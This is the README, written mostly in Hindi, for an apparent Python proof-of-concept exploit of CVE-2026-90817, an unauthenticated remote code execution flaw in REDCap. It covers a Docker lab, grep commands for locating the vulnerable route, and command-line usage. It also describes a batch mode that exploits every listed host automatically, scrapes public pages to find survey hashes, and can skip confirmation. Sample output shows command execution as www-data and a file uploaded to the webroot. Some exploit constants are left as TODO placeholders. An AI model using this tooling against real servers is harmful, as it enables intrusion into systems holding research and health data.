
CVE-2026-90817 के लिए Python PoC, जो सर्वे passthrough routing और file-path injection के माध्यम से unauthenticated REDCap RCE है, साथ में एक Docker lab और allowlist-guarded targets।
| फ़ील्ड | मान |
|---|
| CVE | CVE-2026-90817 |
| उत्पाद | Vanderbilt University REDCap |
| CVSS | 9.8 Critical |
| प्रमाणीकरण | अनधिकृत (वैध सार्वजनिक सर्वेक्षण हैश आवश्यक) |
| प्रभावित | REDCap 13.3.0 और उच्चतर |
| ठीक किया गया | 16.0.49 LTS, 17.3.10 LTS, 17.4.4 Standard Release |
| CWE | CWE-73 (External Control of File Name or Path), CWE-94 (Code Injection) |
आक्रमण श्रृंखला:
CVE-2026-90817/
├── poc_cve_2026_90817.py # PoC (single-target, allowlist-guarded)
├── docker-compose.yml # MySQL + PHP-Apache lab stack
├── redcap-init/
│ ├── database.php # REDCap DB config for lab
│ └── php.ini # PHP settings for lab
├── redcap-src/ # <-- extract REDCap source here (you provide)
├── targets.txt # Authorized targets: one host per line
├── payload.txt # Sample file for upload mode
├── requirements.txt # Python dependencies
└── poc_results.txt # Generated after PoC run
REDCap लाइसेंस प्राप्त सॉफ़्टवेयर है। आपको इसे अपनी प्रयोगशाला के लिए आधिकारिक चैनलों के माध्यम से प्राप्त करना होगा।
mkdir -p redcap-src
# Extract your redcap.zip contents into redcap-src/
# The directory should contain index.php, redcap_vX.X.X/, etc.
docker compose up -d
MySQL हेल्थचेक पास होने की प्रतीक्षा करें, फिर खोलें:
http://localhost:8080
इन डेटाबेस सेटिंग्स का उपयोग करके REDCap इंस्टॉलेशन विज़ार्ड पूरा करें (redcap-init/database.php में पूर्व-कॉन्फ़िगर):
| सेटिंग | मान |
|---|---|
| Host | db |
| Database | redcap |
| User | redcap |
| Password | redcap123 |
s=)।उदाहरण सर्वेक्षण URL:
http://localhost:8080/surveys/?s=ABC123XYZ
सर्वेक्षण हैश: ABC123XYZ
सार्वजनिक सलाहकार सटीक कंट्रोलर रूट या पैरामीटर नाम का खुलासा नहीं करता। अपनी प्रयोगशाला सेट करने के बाद, redcap-src/ पर RE करें और poc_cve_2026_90817.py में TODO स्थिरांक भरें:
VULNERABLE_ROUTE = "TODO_CONTROLLER_ROUTE" # controller route via survey passthrough
FILE_PATH_PARAM = "TODO_FILE_PATH_PARAM" # file-path/stream parameter name
WEBROOT_PATH = "/var/www/html/redcap/" # webroot inside container
UPLOADER_NAME = "x.php" # PHP uploader filename
सर्वेक्षण पासथ्रू रूटिंग खोजें:
grep -rn "passthrough\|survey.*route\|Routes::" redcap-src/ --include="*.php" | head -50
grep -rn "Controller" redcap-src/ --include="*.php" | grep -i "import\|survey" | head -50
Data Import फ़ाइल-पथ/स्ट्रीम हैंडलिंग खोजें:
grep -rn "file_path\|file-path\|stream\|DataImport\|data_import" redcap-src/ --include="*.php" | head -50
grep -rn "fopen\|file_get_contents\|include\|require" redcap-src/ --include="*.php" | grep -i "import" | head -50
STAGE1_SUCCESS_MARKER को एक सफल stage-1 प्रतिक्रिया में मौजूद स्ट्रिंग पर सेट करें (वैकल्पिक लेकिन अनुशंसित)।
pip install -r requirements.txt
स्क्रिप्ट उन लक्ष्यों को अस्वीकार करती है जो न तो प्रयोगशाला होस्ट (localhost, 127.0.0.1, ::1, *.local, *.test, *.localhost) हैं और न ही targets.txt में सूचीबद्ध हैं।
CVE-2026-90817 अनधिकृत है — किसी लॉगिन की आवश्यकता नहीं है। एकमात्र पूर्व-शर्त एक वैध सार्वजनिक सर्वेक्षण हैश है (सर्वेक्षण URL ?s=HASH से)।
उपकरण लक्ष्य के सार्वजनिक पृष्ठों को स्क्रैप करके सर्वेक्षण हैश को स्वतः-खोज सकता है (best-effort)। यह /surveys/?s=HASH लिंक के लिए सामान्य REDCap एंडपॉइंट (/, /redcap/, /index.php, /surveys/) की जाँच करता है। यह केवल तभी काम करता है जब लक्ष्य सार्वजनिक रूप से सर्वेक्षण लिंक उजागर करता है (गलत कॉन्फ़िगर)। उचित रूप से कॉन्फ़िगर किए गए REDCap इंस्टेंस के लिए, --hash के माध्यम से मैन्युअल रूप से हैश प्रदान करें।
--hash वैकल्पिक है (छोड़े जाने पर स्वतः-खोज)गैर-प्रयोगशाला लक्ष्यों के लिए, targets.txt बनाएँ जिसमें प्रति पंक्ति एक होस्ट हो (FQDN या IP)। सूचीबद्ध प्रत्येक होस्ट के कानूनी प्राधिकरण के लिए आप जिम्मेदार हैं।
# targets.txt
redcap.client.example.com
10.0.0.5
192.168.1.100
स्पष्ट हैश के साथ प्रयोगशाला लक्ष्य:
python poc_cve_2026_90817.py \
--target http://localhost:8080 \
--hash ABC123XYZ \
--mode both \
--out poc_results.txt
स्वतः-खोजे गए हैश के साथ प्रयोगशाला लक्ष्य:
python poc_cve_2026_90817.py \
--target http://localhost:8080 \
--mode both \
--out poc_results.txt
targets.txt में सूचीबद्ध प्रत्येक होस्ट का स्वचालित रूप से शोषण करने के लिए --batch जोड़ें। उपकरण सार्वजनिक पृष्ठों को स्क्रैप करके प्रति लक्ष्य सर्वेक्षण हैश स्वतः-खोजता है। उपकरण सभी लक्ष्य प्रिंट करता है और प्रारंभ करने से पहले पुष्टि माँगता है (स्क्रिप्टिंग के लिए प्रॉम्प्ट छोड़ने हेतु --yes का उपयोग करें)।
python poc_cve_2026_90817.py \
--batch \
--mode both \
--out poc_results.txt
पोर्ट --target से विरासत में मिलता है (डिफ़ॉल्ट 8080)। भिन्न पोर्ट का उपयोग करने के लिए, --batch से पहले --target http://placeholder:443/ सेट करें।
प्रत्येक लक्ष्य का परिणाम आउटपुट फ़ाइल में जोड़ा जाता है। अंत में एक सारांश प्रिंट होता है: N success, M failed, T total।
| आर्ग्युमेंट | डिफ़ॉल्ट | विवरण |
|---|---|---|
--target | http://localhost:8080 | लक्ष्य आधार URL |
--hash | (वैकल्पिक) | सार्वजनिक सर्वेक्षण हैश। छोड़े जाने पर, सार्वजनिक पृष्ठों को स्क्रैप करके स्वतः-खोजा जाता है (best-effort)। |
--allowlist | targets.txt | लक्ष्य फ़ाइल, प्रति पंक्ति एक होस्ट |
--batch | बंद | लक्ष्य फ़ाइल में सभी होस्ट पर पुनरावृत्ति करें और प्रत्येक का शोषण करें |
--yes | बंद | बैच पुष्टि प्रॉम्प्ट छोड़ें |
--mode | both | id, upload, या both |
--out | poc_results.txt | परिणाम लॉग फ़ाइल |
--timeout | 30 | HTTP टाइमआउट (सेकंड) |
--upload-local | payload.txt | अपलोड करने के लिए स्थानीय फ़ाइल |
--upload-remote | uploaded_payload.txt | webroot के अंतर्गत रिमोट फ़ाइलनाम |
--skip-placeholder-check | बंद | भरे हुए TODO स्थिरांक के बिना ड्राई-रन HTTP प्रवाह |
नोट: स्वतः-खोज केवल उन लक्ष्यों पर काम करती है जो सार्वजनिक रूप से सर्वेक्षण लिंक उजागर करते हैं। अधिकांश REDCap इंस्टेंस के लिए, --hash मैन्युअल रूप से प्रदान करें।
सफलता पर, stdout दिखाता है:
[0xNuts] CVE-2026-90817 PoC -- AUTHORIZED USE ONLY
[0xNuts] You are responsible for legal authorization of every target.
[0xNuts] Using survey hash: ABC123XYZ
[0xNuts] Stage 1: route manipulation -> ...
[0xNuts] Stage 2: file-path injection -> ...
[0xNuts] id output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[0xNuts] uploaded to /var/www/html/redcap/uploaded_payload.txt
[0xNuts] Result logged to poc_results.txt
परिणाम poc_results.txt में जोड़े जाते हैं:
[2026-09-21T03:20:00Z]
target=http://localhost:8080/
survey_hash=ABC123XYZ
status=success
id_output=uid=33(www-data) gid=33(www-data) groups=33(www-data)
uploaded_files=/var/www/html/redcap/uploaded_payload.txt
notes=mode=both
------------------------------------------------------------
REDCap 16.0.49 LTS, 17.3.10 LTS, या 17.4.4 Standard Release (जैसा लागू हो) में अपग्रेड करें।
अतिरिक्त हार्डनिंग: